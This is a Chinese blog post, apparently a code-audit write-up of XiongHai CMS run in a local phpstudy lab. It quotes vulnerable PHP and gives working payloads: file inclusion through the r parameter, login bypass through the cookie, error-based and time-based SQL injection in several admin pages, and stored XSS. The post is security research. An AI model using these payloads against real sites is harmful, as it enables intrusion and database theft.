好些天没写文章了,今天给大家分享一篇对于熊海cms的审计 本文所使用的环境为phpstudy的php5.2.17版本+apache
看过我之前文章的朋友知道:在审计之前,我们可以通过查询CNVD来知道准备审计的cms存在的漏洞。这样可以更方便于我们来挖掘,复现漏洞


<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>我们可以发现 file=addslashes(_GET['r']);对于r的输入进行了过滤
include('files/'.action.'.php');但是这里我们可以发现action是可控的,即输入的参数是可控的(即使是存在魔术引号)。这个情况与我之前审计bluecms时候类似。我贴一张当时的图
我们先建个txt

最后效果

payload:/admin/?r=../../1.txt.......................................................................................................................................................................................................................................................................................................................................................................................................
经过查看文件源码,我们来到checklogin.php

可以发现。当cookie为空的时候,就跳转到了登入页面。那么不为空的时候呢,这里就成功的绕过了登入。

当&login不为空时候,执行下面的sql语句。且我们可以发现user并未进行过滤,并且
payload:user=admin1' and extractvalue(1,concat(0x7e,(select database())))--+&password=123456&login=yes

这里可以发现输入的变量经过addslashes的过滤。不过我们依旧可以利用报错注入或者时间盲注来执行

payload:xhcms/?r=content&cid=1%20and%20extractvalue(1,concat(0x7e,(select%20database())))-SQL注入(/admin/files/manageinfo.php) 这里是cookie处存在注入,方法如上文所示,不在复述

-insertSQL注入(/admin/files/newlink.php)

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());太简单了直接上 payload:1' and sleep(10),'http://535yx.cn','yx535@qq.com','jieshao','xs',now()) #

-delectSQL注入(/admin/files/linklist.php)
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM link WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的链接已经成功删除!');location.href='?r=linklist'</script>";
exit; 直接上
payload:/admin/?r=linklist&delete=1%27%20and%20sleep(10)--+-存储xss漏洞(/admin/files/l ink.php)x2

可以发现,这里对于输入并未有过滤,而name和url是我们刚才在newl ink.php处可控的。所以说这里存在着存储xss



这里sql注入漏洞太多啦。我就不继续说了,有兴趣的朋友可以再挖挖还有哪里存在sql注入漏洞 让我们一起加油